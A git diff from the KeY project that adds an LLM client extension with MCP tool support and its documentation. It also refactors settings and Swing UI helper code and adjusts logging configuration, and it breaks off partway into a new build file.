diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml
index afe4cef54c5..729019bea7f 100644
--- a/.github/workflows/tests.yml
+++ b/.github/workflows/tests.yml
@@ -29,7 +29,7 @@ jobs:
           keyext.exploration, keyext.slicing, key.ncore, key.ui, key.core,
           key.core.testgen, keyext.isabelletranslation,  keyext.ui.testgen,  key.ncore.calculus,
           key.util, key.core.example, keyext.caching, key.core.wd, key.core.infflow,
-          keyext.proofmanagement]
+          keyext.proofmanagement, keyext.llm]
     continue-on-error: true
     runs-on: ${{ matrix.os }}
     env:
diff --git a/docs/LLM-Client-Extended.md b/docs/LLM-Client-Extended.md
new file mode 100644
index 00000000000..2adc915505a
--- /dev/null
+++ b/docs/LLM-Client-Extended.md
@@ -0,0 +1,282 @@
+# LlmClientExtended - Extended LLM Client with File Attachments and MCP Support
+
+## Overview
+
+`LlmClientExtended` is an enhanced version of the `LlmClient` class that adds support for:
+1. **File Attachments** - Automatically include files from the session as multi-modal content
+2. **MCP (Model Context Protocol)** - Integrate with MCP servers for tool calls and resource access
+
+## Package
+
+```java
+package org.key_project.key.llm;
+```
+
+## Class Hierarchy
+
+```
+LlmClientExtended implements Callable<Map<String, Object>>
+    └── McpClient (interface) - MCP client interface for tool/resource access
+```
+
+## Features
+
+### 1. File Attachments
+
+The extended client automatically includes files selected in the `LlmSession` as part of the message content. Files are formatted according to their type:
+
+| File Type | Format | Example |
+|-----------|--------|---------|
+| Text files (.java, .txt, .md, .key) | Code block with filename | ```` ```filename.java\n...content...\n``` ```` |
+| Images (.png, .jpg, .jpeg, .gif, .webp) | Base64 encoded data URL | `data:image/png;base64,...` |
+
+### 2. MCP Support
+
+When an `McpClient` is provided, the extended client can:
+- Discover available tools from MCP servers
+- Send tool definitions to the LLM API
+- Execute tool calls returned by the LLM
+- Inject tool results back into the conversation
+- Make follow-up API calls with results
+
+## Constructors
+
+### Without MCP Support
+
+```java
+/**
+ * Creates a new extended LLM client without MCP support.
+ */
+public LlmClientExtended(LlmSession llmSession, LlmContext context, String message)
+```
+
+**Parameters:**
+- `llmSession` - The LLM session containing API endpoint, authentication, and selected files
+- `context` - The conversation context containing previous messages
+- `message` - The user message to send
+
+### With MCP Support
+
+```java
+/**
+ * Creates a new extended LLM client with optional MCP support.
+ */
+public LlmClientExtended(LlmSession llmSession, LlmContext context, String message, McpClient mcpClient)
+```
+
+**Parameters:**
+- `llmSession` - The LLM session containing API endpoint, authentication, and selected files
+- `context` - The conversation context containing previous messages
+- `message` - The user message to send
+- `mcpClient` - Optional MCP client for tool/resource access (may be null)
+
+## Usage Examples
+
+### Basic Usage with File Attachments
+
+```java
+import org.key_project.key.llm.*;
+import java.net.URI;
+import java.util.Set;
+
+// Create session with API credentials
+LlmSession session = new LlmSession("https://api.openai.com/v1", "sk-your-api-key");
+session.setModel("gpt-4-vision-preview");
+
+// Add files to the session
+Set<URI> files = session.getSelectedFiles();
+files.add(URI.create("file:///path/to/MyClass.java"));
+files.add(URI.create("file:///path/to/diagram.png"));
+session.setSelectedFiles(files);
+
+// Create context and add initial messages
+LlmContext context = new LlmContext();
+context.addMessage(new LlmContext.LlmMessage("system", "You are a helpful coding assistant."));
+
+// Create and execute the client
+LlmClientExtended client = new LlmClientExtended(session, context, "Explain this code");
+Map<String, Object> response = client.call();
+
+// Process response
+var choices = (List<?>) response.get("choices");
+var firstChoice = (Map<?, ?>) choices.get(0);
+var message = (Map<?, ?>) firstChoice.get("message");
+String content = (String) message.get("content");
+System.out.println(content);
+```
+
+### Usage with MCP Server
+
+```java
+import org.key_project.key.llm.*;
+
+// Start an MCP server process
+ProcessBuilder pb = new ProcessBuilder(
+    "npx", "-y", "@modelcontextprotocol/server-filesystem", "/home/user/docs"
+);
+Process mcpServer = pb.start();
+
+// Create and initialize MCP client
+McpClientStdio mcpClient = new McpClientStdio(mcpServer);
+mcpClient.initialize();
+
+// Create session (no files needed when using MCP)
+LlmSession session = new LlmSession("https://api.openai.com/v1", "sk-your-api-key");
+LlmContext context = new LlmContext();
+
+// Create client with MCP support
+LlmClientExtended client = new LlmClientExtended(session, context, 
+    "List the files in my documents folder", mcpClient);
+
+// Execute and handle tool calls automatically
+Map<String, Object> response = client.call();
+
+// Cleanup
+mcpClient.close();
+```
+
+### Combined Usage (Files + MCP)
+
+```java
+// Setup session with both files and MCP
+LlmSession session = new LlmSession("https://api.openai.com/v1", "sk-your-api-key");
+session.setSelectedFiles(Set.of(URI.create("file:///path/to/code.java")));
+
+// Initialize MCP client for additional capabilities
+ProcessBuilder pb = new ProcessBuilder("npx", "-y", "@modelcontextprotocol/server-git", "/path/to/repo");
+McpClientStdio mcpClient = new McpClientStdio(pb.start());
+mcpClient.initialize();
+
+// Use both features together
+LlmContext context = new LlmContext();
+LlmClientExtended client = new LlmClientExtended(session, context, 
+    "Review this code and check the git history for recent changes", mcpClient);
+
+Map<String, Object> response = client.call();
+mcpClient.close();
+```
+
+## McpClient Interface
+
+The `McpClient` interface defines the contract for MCP implementations:
+
+```java
+public interface McpClient {
+    /** Returns available tools in OpenAI API format. */
+    List<Map<String, Object>> getToolsAsOpenAiFormat();
+    
+    /** Calls a tool with the given arguments. */
+    Object callTool(String toolName, String arguments) throws Exception;
+    
+    /** Checks if the MCP client is still connected. */
+    boolean isClosed();
+    
+    /** Closes the MCP client and releases resources. */
+    void close();
+}
+```
+
+## McpClientStdio Class
+
+`McpClientStdio` is a reference implementation that communicates with MCP servers via stdin/stdout using JSON-RPC 2.0.
+
+### Constructor
+
+```java
+public McpClientStdio(Process process) throws IOException
+```
+
+### Methods
+
+| Method | Description |
+|--------|-------------|
+| `initialize()` | Initializes connection and discovers tools |
+| `isInitialized()` | Returns true if successfully initialized |
+| `getServerCapabilities()` | Returns server capabilities map |
+| `close()` | Closes the connection and terminates the process |
+
+### Supported MCP Operations
+
+- `tools/list` - Discover available tools
+- `tools/call` - Invoke a tool
+- `resources/list` - List available resources
+- `resources/read` - Read resource content
+
+## Architecture
+
+### Message Flow with File Attachments
+
+```
+┌─────────────┐     ┌──────────────────┐     ┌───────────────┐
+│ LlmSession  │────▶│ LlmClientExtended│────▶│ OpenAI API    │
+│ - files     │     │ - attachments    │     │ - gpt-4-vision│
+└─────────────┘     │ - multipart msg  │     └───────────────┘
+                    └──────────────────┘
+```
+
+### Message Flow with MCP
+
+```
+┌─────────────┐     ┌──────────────────┐     ┌───────────────┐
+│ McpClient   │◀───▶│ LlmClientExtended│◀───▶│ OpenAI API    │
+│ - tools     │     │ - tool handling  │     │ - tool_calls  │
+└─────────────┘     └──────────────────┘     └───────────────┘
+       │                    │                        │
+       │                    └────────────────────────┘
+       │                           (follow-up)
+       ▼
+  Execute Tool
+  Return Result
+```
+
+## Thread Safety
+
+- `LlmClientExtended` is thread-safe for concurrent `call()` invocations
+- Each call creates a new HTTP client instance
+- The `McpClient` implementation should be thread-safe if used concurrently
+- `ConcurrentHashMap` is used for internal data structures
+
+## Error Handling
+
+| Scenario | Behavior |
+|----------|----------|
+| File not found | Warning logged, file skipped |
+| Unsupported file type | Treated as text content |
+| MCP server timeout | IOException after 30 seconds |
+| Tool execution failure | Error message returned to LLM |
+| MCP process terminated | `isClosed()` returns true, tools disabled |
+
+## Dependencies
+
+The following libraries are required:
+
+- Apache HttpClient 5.x (`org.apache.httpcomponents.client5`)
+- Gson (`com.google.gson`)
+- SLF4J (`org.slf4j`)
+
+## Best Practices
+
+1. **Always close MCP clients** - Use try-with-resources or finally blocks
+2. **Limit file count** - Too many attachments increase token usage
+3. **Initialize before use** - Call `mcpClient.initialize()` before first use
+4. **Check isClosed()** - Verify MCP connection before operations
+5. **Handle exceptions** - Tool calls may fail; errors are gracefully returned to LLM
+
+## Related Classes
+
+- `LlmClient` - Original basic LLM client
+- `LlmSession` - Session configuration (API endpoint, auth, files)
+- `LlmContext` - Conversation history management
+- `McpClientStdio` - Reference MCP implementation
+
+## Author
+
+@author Alexander Weigl
+
+## Version
+
+@version 1.0 (6/28/26)
+
+## License
+
+This file is part of KeY and is licensed under the GNU General Public License Version 2 (GPL-2.0-only).
\ No newline at end of file
diff --git a/key.core/src/main/java/de/uka/ilkd/key/settings/AbstractPropertiesSettings.java b/key.core/src/main/java/de/uka/ilkd/key/settings/AbstractPropertiesSettings.java
index da5c4f1c7ba..e2cbac90027 100644
--- a/key.core/src/main/java/de/uka/ilkd/key/settings/AbstractPropertiesSettings.java
+++ b/key.core/src/main/java/de/uka/ilkd/key/settings/AbstractPropertiesSettings.java
@@ -4,13 +4,13 @@
 package de.uka.ilkd.key.settings;
 
 
+import org.jspecify.annotations.NonNull;
+import org.jspecify.annotations.Nullable;
+
 import java.util.*;
 import java.util.function.Function;
 import java.util.stream.Collectors;
 
-import org.jspecify.annotations.NonNull;
-import org.jspecify.annotations.Nullable;
-
 /**
  * A base class for own settings based on properties.
  *
@@ -128,7 +128,7 @@ public void writeSettings(Configuration props) {
 
     protected PropertyEntry<Double> createDoubleProperty(String key, double defValue) {
         PropertyEntry<Double> pe = new DefaultPropertyEntry<>(key, defValue, parseDouble,
-            (it) -> ((Number) it).doubleValue());
+                (it) -> ((Number) it).doubleValue());
         propertyEntries.add(pe);
         return pe;
     }
@@ -137,37 +137,47 @@ protected PropertyEntry<Integer> createIntegerProperty(String key, int defValue)
         // A stored numeric value may deserialize as Integer or Long depending on its magnitude and
         // the settings format, so accept any Number rather than assuming a particular boxed type.
         PropertyEntry<Integer> pe = new DefaultPropertyEntry<>(key, defValue, parseInt,
-            (it) -> Math.toIntExact(((Number) it).longValue()));
+                (it) -> Math.toIntExact(((Number) it).longValue()));
         propertyEntries.add(pe);
         return pe;
     }
 
     protected PropertyEntry<Float> createFloatProperty(String key, float defValue) {
         PropertyEntry<Float> pe = new DefaultPropertyEntry<>(key, defValue, parseFloat,
-            (it) -> ((Number) it).floatValue());
+                (it) -> ((Number) it).floatValue());
         propertyEntries.add(pe);
         return pe;
     }
 
     protected PropertyEntry<String> createStringProperty(String key, String defValue) {
         PropertyEntry<String> pe =
-            new DefaultPropertyEntry<>(key, defValue, id -> id, Object::toString);
+                new DefaultPropertyEntry<>(key, defValue, id -> id, Object::toString);
         propertyEntries.add(pe);
         return pe;
     }
 
     protected PropertyEntry<Boolean> createBooleanProperty(String key, boolean defValue) {
         PropertyEntry<Boolean> pe =
-            new DefaultPropertyEntry<>(key, defValue, parseBoolean, (it) -> (Boolean) it);
+                new DefaultPropertyEntry<>(key, defValue, parseBoolean, (it) -> (Boolean) it);
         propertyEntries.add(pe);
         return pe;
     }
 
     protected PropertyEntry<Set<String>> createStringSetProperty(String key, String defValue) {
         PropertyEntry<Set<String>> pe = new DefaultPropertyEntry<>(key, parseStringSet(defValue),
-            AbstractPropertiesSettings::parseStringSet,
-            AbstractPropertiesSettings::stringSetToString,
-            (it) -> new LinkedHashSet<>((Collection<String>) it));
+                AbstractPropertiesSettings::parseStringSet,
+                AbstractPropertiesSettings::stringSetToString,
+                (it) -> new LinkedHashSet<>((Collection<String>) it));
+        propertyEntries.add(pe);
+        return pe;
+    }
+
+    protected PropertyEntry<Set<String>> createStringSetProperty(String key, Set<String> defValue) {
+        PropertyEntry<Set<String>> pe = new DefaultPropertyEntry<>(key, defValue,
+                AbstractPropertiesSettings::parseStringSet,
+                AbstractPropertiesSettings::stringSetToString,
+                (it) ->
+                        new LinkedHashSet<>(it != null ? (Collection<String>) it : List.of()));
         propertyEntries.add(pe);
         return pe;
     }
@@ -175,15 +185,15 @@ protected PropertyEntry<Set<String>> createStringSetProperty(String key, String
     /**
      * Creates a string list property.
      *
-     * @param key the key value of this property inside {@link Properties} instance
+     * @param key      the key value of this property inside {@link Properties} instance
      * @param defValue a default value
      * @return returns a {@link PropertyEntry}
      */
     protected PropertyEntry<List<String>> createStringListProperty(@NonNull String key,
-            @Nullable String defValue) {
+                                                                   @Nullable String defValue) {
         PropertyEntry<List<String>> pe = new DefaultPropertyEntry<>(key, parseStringList(defValue),
-            AbstractPropertiesSettings::parseStringList,
-            AbstractPropertiesSettings::stringListToString, it -> (List<String>) it);
+                AbstractPropertiesSettings::parseStringList,
+                AbstractPropertiesSettings::stringListToString, it -> (List<String>) it);
         propertyEntries.add(pe);
         return pe;
     }
@@ -194,7 +204,7 @@ public interface PropertyEntry<T> {
 
         void parseFrom(String value);
 
-        void set(T value);
+        void set(Object value);
 
         T get();
 
@@ -217,12 +227,12 @@ class DefaultPropertyEntry<T> implements PropertyEntry<T> {
         private final Function<Object, T> fromObject;
 
         private DefaultPropertyEntry(String key, T defaultValue, Function<String, T> convert,
-                Function<Object, T> fromObject) {
+                                     Function<Object, T> fromObject) {
             this(key, defaultValue, convert, Objects::toString, fromObject);
         }
 
         private DefaultPropertyEntry(String key, T defaultValue, Function<String, T> convert,
-                Function<T, String> toString, Function<Object, T> fromObject) {
+                                     Function<T, String> toString, Function<Object, T> fromObject) {
             this.key = key;
             this.defaultValue = defaultValue;
             this.convert = convert;
@@ -241,7 +251,7 @@ public void parseFrom(String value) {
         }
 
         @Override
-        public void set(T value) {
+        public void set(Object value) {
             T old = get();
             // only store non-null values
             if (value != null) {
diff --git a/key.ui/build.gradle b/key.ui/build.gradle
index a380ab55e48..337bb38c9a1 100644
--- a/key.ui/build.gradle
+++ b/key.ui/build.gradle
@@ -38,6 +38,8 @@ dependencies {
     runtimeOnly project(":keyext.slicing")
     runtimeOnly project(":keyext.proofmanagement")
     runtimeOnly project(":keyext.isabelletranslation")
+
+    runtimeOnly project(":keyext.llm")
 }
 
 tasks.register('createExamplesZip', Zip) {
diff --git a/key.ui/src/main/java/de/uka/ilkd/key/gui/MainWindow.java b/key.ui/src/main/java/de/uka/ilkd/key/gui/MainWindow.java
index 4ec68905455..cbcef7f5ad7 100644
--- a/key.ui/src/main/java/de/uka/ilkd/key/gui/MainWindow.java
+++ b/key.ui/src/main/java/de/uka/ilkd/key/gui/MainWindow.java
@@ -313,7 +313,9 @@ private MainWindow() {
         proofListener = new MainProofListener();
         userInterface = new WindowUserInterfaceControl(this);
         mediator = getMainWindowMediator(userInterface);
-        KeYGuiExtensionFacade.getStartupExtensions().forEach(it -> it.preInit(this, mediator));
+        KeYGuiExtensionFacade.getStartupExtensions()
+                .stream().filter(Objects::nonNull)
+                .forEach(it -> it.preInit(this, mediator));
 
         Config.DEFAULT.setDefaultFonts();
         ViewSettings vs = ProofIndependentSettings.DEFAULT_INSTANCE.getViewSettings();
diff --git a/key.ui/src/main/java/de/uka/ilkd/key/gui/actions/KeyAction.java b/key.ui/src/main/java/de/uka/ilkd/key/gui/actions/KeyAction.java
index 76eca687b4b..ad58c71f6e8 100644
--- a/key.ui/src/main/java/de/uka/ilkd/key/gui/actions/KeyAction.java
+++ b/key.ui/src/main/java/de/uka/ilkd/key/gui/actions/KeyAction.java
@@ -9,6 +9,9 @@
 
 import de.uka.ilkd.key.gui.keyshortcuts.KeyStrokeManager;
 
+import bibliothek.gui.dock.common.action.CAction;
+import bibliothek.gui.dock.common.action.CButton;
+
 import static de.uka.ilkd.key.gui.keyshortcuts.KeyStrokeManager.SHORTCUT_KEY_MASK;
 
 /**
@@ -155,4 +158,10 @@ public int getPriority() {
     protected void setPriority(int priority) {
         putValue(PRIORITY, priority);
     }
+
+    public CAction toCAction() {
+        final var btn = new CButton(getName(), null);
+        btn.addActionListener(this);
+        return btn;
+    }
 }
diff --git a/key.ui/src/main/java/de/uka/ilkd/key/gui/extension/api/KeYGuiExtension.java b/key.ui/src/main/java/de/uka/ilkd/key/gui/extension/api/KeYGuiExtension.java
index 2ac0d426f44..ac7b21373fb 100644
--- a/key.ui/src/main/java/de/uka/ilkd/key/gui/extension/api/KeYGuiExtension.java
+++ b/key.ui/src/main/java/de/uka/ilkd/key/gui/extension/api/KeYGuiExtension.java
@@ -120,7 +120,7 @@ default void preInit(MainWindow window, KeYMediator mediator) {
 
         }
 
-        void init(MainWindow window, KeYMediator mediator);
+        default void init(MainWindow window, KeYMediator mediator) {};
     }
 
     /**
diff --git a/key.ui/src/main/java/de/uka/ilkd/key/gui/settings/SettingsPanel.java b/key.ui/src/main/java/de/uka/ilkd/key/gui/settings/SettingsPanel.java
index 2d3f91141c8..a3e98e2bf3b 100644
--- a/key.ui/src/main/java/de/uka/ilkd/key/gui/settings/SettingsPanel.java
+++ b/key.ui/src/main/java/de/uka/ilkd/key/gui/settings/SettingsPanel.java
@@ -4,22 +4,27 @@
 package de.uka.ilkd.key.gui.settings;
 
 
-import java.awt.*;
-import java.io.File;
-import java.util.Arrays;
-import java.util.List;
-import javax.swing.*;
-
 import de.uka.ilkd.key.gui.KeYFileChooser;
+import de.uka.ilkd.key.gui.actions.KeyAction;
 import de.uka.ilkd.key.gui.fonticons.FontAwesomeSolid;
+import de.uka.ilkd.key.gui.fonticons.IconFactory;
 import de.uka.ilkd.key.gui.fonticons.IconFontSwing;
-
 import net.miginfocom.layout.AC;
 import net.miginfocom.layout.CC;
 import net.miginfocom.layout.LC;
 import net.miginfocom.swing.MigLayout;
 import org.jspecify.annotations.Nullable;
 
+import javax.swing.*;
+import javax.swing.table.AbstractTableModel;
+import java.awt.*;
+import java.awt.event.ActionListener;
+import java.io.File;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.function.Function;
+
 /**
  * Extension of {@link SimpleSettingsPanel} which uses {@link MigLayout} to create a nice
  * three-column view.
@@ -36,19 +41,19 @@ public abstract class SettingsPanel extends SimpleSettingsPanel {
 
     protected SettingsPanel() {
         pCenter.setLayout(new MigLayout(
-            // set up rows:
-            new LC().fillX()
-                    // remove the padding after the help icon
-                    .insets(null, null, null, "0").wrapAfter(3),
-            // set up columns:
-            new AC().count(3).fill(1)
-                    // label column does not grow
-                    .grow(0f, 0)
-                    // input area does grow
-                    .grow(1000f, 1)
-                    // help icon always has the same size
-                    .size("16px", 2)
-                    .align("right", 0)));
+                // set up rows:
+                new LC().fillX()
+                        // remove the padding after the help icon
+                        .insets(null, null, null, "0").wrapAfter(3),
+                // set up columns:
+                new AC().count(3).fill(1)
+                        // label column does not grow
+                        .grow(0f, 0)
+                        // input area does grow
+                        .grow(1000f, 1)
+                        // help icon always has the same size
+                        .size("16px", 2)
+                        .align("right", 0)));
     }
 
     /**
@@ -119,7 +124,7 @@ protected <T> JComboBox<T> createSelection(T[] elements, Validator<T> validator)
      * @return
      */
     protected JCheckBox addCheckBox(String title, String info, boolean value,
-            final Validator<Boolean> validator) {
+                                    final Validator<Boolean> validator) {
         JCheckBox checkBox = createCheckBox(title, value, validator);
         addRowWithHelp(info, new JLabel(), checkBox);
         return checkBox;
@@ -135,7 +140,7 @@ protected JCheckBox addCheckBox(String title, String info, boolean value,
      * @return
      */
     protected JTextField addFileChooserPanel(String title, String file, String info, boolean isSave,
-            final Validator<String> validator) {
+                                             final Validator<String> validator) {
         JTextField textField = new JTextField(file);
         textField.addActionListener(e -> {
             try {
@@ -164,7 +169,7 @@ protected JTextField addFileChooserPanel(String title, String file, String info,
                 fileChooser = KeYFileChooser.getFileChooser("Save file");
                 fileChooser.setFileFilter(fileChooser.getAcceptAllFileFilter());
                 result = fileChooser.showSaveDialog((Component) e.getSource(),
-                    new File(textField.getText()));
+                        new File(textField.getText()));
             } else {
                 fileChooser = KeYFileChooser.getFileChooser("Open file");
                 fileChooser.setFileFilter(fileChooser.getAcceptAllFileFilter());
@@ -184,22 +189,16 @@ protected JTextField addFileChooserPanel(String title, String file, String info,
     /**
      * Adds a new combobox to the panel.
      *
-     * @param title
-     *        label of the combo box
-     * @param info
-     *        help text
-     * @param selectionIndex
-     *        which item to initially select
-     * @param validator
-     *        validator
-     * @param items
-     *        the items
-     * @param <T>
-     *        the type of the items
+     * @param title          label of the combo box
+     * @param info           help text
+     * @param selectionIndex which item to initially select
+     * @param validator      validator
+     * @param items          the items
+     * @param <T>            the type of the items
      * @return the combo box
      */
     protected <T> JComboBox<T> addComboBox(String title, String info, int selectionIndex,
-            @Nullable Validator<T> validator, T... items) {
+                                           @Nullable Validator<T> validator, T... items) {
         JComboBox<T> comboBox = new JComboBox<>(items);
         comboBox.setSelectedIndex(selectionIndex);
         comboBox.addActionListener(e -> {
@@ -238,16 +237,180 @@ protected void addTitledComponent(String title, JComponent component, String hel
         addRowWithHelp(helpText, label, component);
     }
 
+    /// Shows a list with the given `seq` items, and arbitrary actions
+    ///
+    protected <T> JList<T> addListBox(String title,
+                                      String info,
+                                      List<T> seq,
+                                      KeyAction... action) {
+        var model = new DefaultListModel<T>();
+        model.addAll(seq);
+
+        JList<T> list = new JList<>(model);
+        JScrollPane field = new JScrollPane(list);
+
+        var panel = new JPanel(new FlowLayout(FlowLayout.CENTER));
+        for (var keyAction : action) {
+            panel.add(new JButton(keyAction));
+        }
+
+        JLabel lblTitle = new JLabel(title);
+        lblTitle.setLabelFor(list);
+        pCenter.add(lblTitle);
+        pCenter.add(new JSeparator(JSeparator.HORIZONTAL));
+        JLabel infoButton = createHelpLabel(info);
+        pCenter.add(infoButton, new CC().wrap());
+        pCenter.add(new JLabel());
+        pCenter.add(panel);
+
+        return list;
+    }
+
+
+    public record Column<T,R>(String name,
+                            Class<R> clazz,
+                            Getter<T,R> value,
+                            @Nullable Setter<T> setValue) {
+
+        public Column(String name, Class<R> clazz, Getter<T,R> value) {
+            this(name, clazz, value, null);
+        }
+
+        public interface Getter<T,R> extends Function<T, R> {
+        }
+
+        public interface Setter<T> {
+            void set(T object, Object value);
+        }
+    }
+
+    protected <T> JTable addTableBox(
+            String title, String info, List<T> seq,
+            Column<T,?>... columns) {
+        var model = new AbstractTableModel() {
+            @Override
+            public Class<?> getColumnClass(int columnIndex) {
+                return columns[columnIndex].clazz();
+            }
+
+            public String getColumnName(int columnIndex) {
+                return columns[columnIndex].name();
+            }
+
+            @Override
+            public void setValueAt(Object aValue, int rowIndex, int columnIndex) {
+                final T s = seq.get(rowIndex);
+                columns[columnIndex].setValue.set(s, aValue);
+                fireTableCellUpdated(rowIndex, columnIndex);
+            }
+
+            @Override
+            public boolean isCellEditable(int rowIndex, int columnIndex) {
+                return columns[columnIndex].setValue != null;
+            }
+
+            @Override
+            public int getRowCount() {
+                return seq.size();
+            }
+
+            @Override
+            public int getColumnCount() {
+                return columns.length;
+            }
+
+            @Override
+            public Object getValueAt(int rowIndex, int columnIndex) {
+                return columns[columnIndex].value.apply(seq.get(rowIndex));
+            }
+        };
+
+        var list = new JTable(model);
+        JScrollPane field = new JScrollPane(list);
+        var panel = new JPanel(new MigLayout(new LC().fillX()));
+        panel.add(field, new CC().span(3).growX().wrap());
+
+        JLabel lblTitle = new JLabel(title);
+        lblTitle.setLabelFor(list);
+        pCenter.add(lblTitle);
+        pCenter.add(new JSeparator(JSeparator.HORIZONTAL));
+        JLabel infoButton = createHelpLabel(info);
+        pCenter.add(infoButton, new CC().wrap());
+        pCenter.add(new JLabel());
+        pCenter.add(panel);
+
+        return list;
+    }
+
+    protected <T> JList<T> addListBox(String title, String info,
+                                      final Validator<List<T>> validator,
+                                      List<T> seq, Function<String, T> converter) {
+        var model = new DefaultListModel<T>();
+        model.addAll(seq);
+
+        JList<T> list = new JList<>(model);
+
+        var txtAdd = new JTextField();
+        var btnAdd = new JButton(IconFactory.PLUS_SQUARED.get(16f));
+        var btnRemove = new JButton(IconFactory.MINUS.get(16f));
+
+        JScrollPane field = new JScrollPane(list);
+
+        var panel = new JPanel(new MigLayout(new LC().fillX()));
+        panel.add(field, new CC().span(3).growX().wrap());
+        panel.add(txtAdd, new CC().growX());
+        panel.add(btnAdd, new CC().gapAfter("16px"));
+        panel.add(btnRemove);
+
+        JLabel lblTitle = new JLabel(title);
+        lblTitle.setLabelFor(list);
+        pCenter.add(lblTitle);
+        pCenter.add(new JSeparator(JSeparator.HORIZONTAL));
+        JLabel infoButton = createHelpLabel(info);
+        pCenter.add(infoButton, new CC().wrap());
+        pCenter.add(new JLabel());
+        pCenter.add(panel);
+
+        list.addListSelectionListener(e -> {
+            try {
+                if (validator != null) {
+                    List<T> ary = Collections.list(model.elements());
+                    validator.validate(ary);
+                }
+                demarkComponentAsErrornous(list);
+            } catch (Exception ex) {
+                markComponentAsErrornous(list, ex.getMessage());
+            }
+        });
+
+        final ActionListener addItem = e -> {
+            String value = txtAdd.getText();
+            if (value != null && !value.isEmpty()) {
+                model.addElement(converter.apply(value));
+            }
+        };
+        txtAdd.addActionListener(addItem);
+        btnAdd.addActionListener(addItem);
+
+        ActionListener removeItem = e -> {
+            if (list.getSelectedIndex() != -1) {
+                model.removeElementAt(list.getSelectedIndex());
+            }
+        };
+        btnRemove.addActionListener(removeItem);
+
+        return list;
+    }
 
     protected JTextArea addTextArea(String title, String text, String info,
-            final Validator<String> validator) {
+                                    final Validator<String> validator) {
         JScrollPane field = createTextArea(text, validator);
         addTitledComponent(title, field, info);
         return (JTextArea) field.getViewport().getView();
     }
 
     protected JTextArea addTextAreaWithoutScroll(String title, String text, String info,
-            final Validator<String> validator) {
+                                                 final Validator<String> validator) {
         JTextArea field = createTextAreaWithoutScroll(text, validator);
         addTitledComponent(title, field, info);
         return field;
@@ -262,7 +425,7 @@ protected JTextArea addTextAreaWithoutScroll(String title, String text, String i
      * @return
      */
     protected JTextField addTextField(String title, String text, String info,
-            final Validator<String> validator) {
+                                      final Validator<String> validator) {
         JTextField field = createTextField(text, validator);
         addTitledComponent(title, field, info);
         return field;
@@ -270,7 +433,7 @@ protected JTextField addTextField(String title, String text, String info,
 
 
     protected JTextField addTextField(String title, String text, String info,
-            final Validator<String> validator, JComponent additionalActions) {
+                                      final Validator<String> validator, JComponent additionalActions) {
         JTextField field = createTextField(text, validator);
         JLabel label = new JLabel(title);
         label.setLabelFor(field);
@@ -287,31 +450,24 @@ protected JTextField addTextField(String title, String text, String info,
      * also determines how the default {@link javax.swing.text.NumberFormatter} used by the
      * {@link JSpinner} formats entered Strings
      * (see {@link javax.swing.text.NumberFormatter#stringToValue(String)}).
-     *
+     * <p>
      * If there are additional restrictions for the entered values, the passed validator can check
      * those. The entered values have to be of a subclass of {@link Number} (as this is a number
      * text
      * field), otherwise the {@link Validator} will fail.
      *
-     * @param title
-     *        the title of the text field
-     * @param min
-     *        the minimum value that can be entered
-     * @param max
-     *        the maximum value that can be entered
-     * @param step
-     *        the step size used when changing the entered value using the JSpinner's arrow
-     *        buttons
-     * @param info
-     *        arbitrary information about the text field
-     * @param validator
-     *        a validator for checking the entered values
+     * @param title     the title of the text field
+     * @param min       the minimum value that can be entered
+     * @param max       the maximum value that can be entered
+     * @param step      the step size used when changing the entered value using the JSpinner's arrow
+     *                  buttons
+     * @param info      *        arbitrary information about the text field
+     * @param validator a validator for checking the entered values
+     * @param <T>       * the class of the minimum value
      * @return the created JSpinner
-     * @param <T>
-     *        the class of the minimum value
      */
     protected <T extends Number & Comparable<T>> JSpinner addNumberField(String title, T min,
-            Comparable<T> max, Number step, String info, final Validator<Number> validator) {
+                                                                         Comparable<T> max, Number step, String info, final Validator<Number> validator) {
         JSpinner field = createNumberTextField(min, max, step, validator);
         addTitledComponent(title, field, info);
         return field;
@@ -356,8 +512,7 @@ protected void addSeparator(String titleText) {
     /**
      * Creates an empty validator instance.
      *
-     * @param <T>
-     *        arbitrary
+     * @param <T> arbitrary
      * @return non-null
      */
     protected <T> Validator<T> emptyValidator() {
diff --git a/key.ui/src/main/java/org/key_project/util/java/SwingUtil.java b/key.ui/src/main/java/org/key_project/util/java/SwingUtil.java
index 8285a9b99da..27d3651ec9d 100644
--- a/key.ui/src/main/java/org/key_project/util/java/SwingUtil.java
+++ b/key.ui/src/main/java/org/key_project/util/java/SwingUtil.java
@@ -40,6 +40,7 @@ private SwingUtil() {
      * @param uri the URI to be displayed in the user's default browser
      */
     public static void browse(URI uri) throws IOException {
+        LOGGER.info("Open {}", uri);
         try {
             Desktop.getDesktop().browse(uri);
         } catch (UnsupportedOperationException e) {
diff --git a/key.ui/src/main/resources/logback.xml b/key.ui/src/main/resources/logback.xml
index f7d474903e1..e8b835a2fde 100644
--- a/key.ui/src/main/resources/logback.xml
+++ b/key.ui/src/main/resources/logback.xml
@@ -20,30 +20,22 @@
 
     <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
         <encoder>
-            <pattern>[%date{HH:mm:ss.SSS}] %highlight(%-5level) %cyan(%logger{0}) - %msg%ex%n</pattern>
-        </encoder>
-        <!--
-            The threshold of this filter is also selected by the command line option "verbose <int>" where
-                SILENT = 0 (completely off)
-                NORMAL = 1
-                INFO = 2
-                DEBUG = 3
-                TRACE = 4
-        -->
+            <pattern>%-10relative %-5level %-15thread %-25logger{5} %msg %ex%n</pattern>
+        </encoder>       
         <filter class="ch.qos.logback.classic.filter.ThresholdFilter">
             <level>INFO</level>
         </filter>
     </appender>
 
-    <root level="trace">
+    <root level="INFO">
         <appender-ref ref="STDOUT"/>
         <appender-ref ref="FILE"/>
     </root>
 
-    <!--
-        A logger for development, also print to CONSOLE. This logger is not restricted by any command line options.
-        You should not use this code on the master branch.
-    -->
+	<!--
+		A logger for development, also print to CONSOLE. This logger is not restricted by any command line options.
+		You should not use this code on the master branch.
+	-->
     <appender name="STDERR" class="ch.qos.logback.core.ConsoleAppender">
         <encoder>
             <pattern>[%relative] %highlight(%-5level) %cyan(%logger{0}): %msg %n</pattern>
@@ -52,8 +44,8 @@
             <level>TRACE</level>
         </filter>
     </appender>
+
     <logger name="key.devel" level="DEBUG">
         <appender-ref ref="STDERR"/>
     </logger>
-
 </configuration>
diff --git a/keyext.llm/build.gradle b/keyext.llm/build.gradle
new file mode 100644
index 00000000000..e5a69d1bc17
--- /dev/null
+++ b/keyext.llm/build.gradle
@@ -0,0 +1,13 @@
+description = "LLM UI"
+
+dependencies {
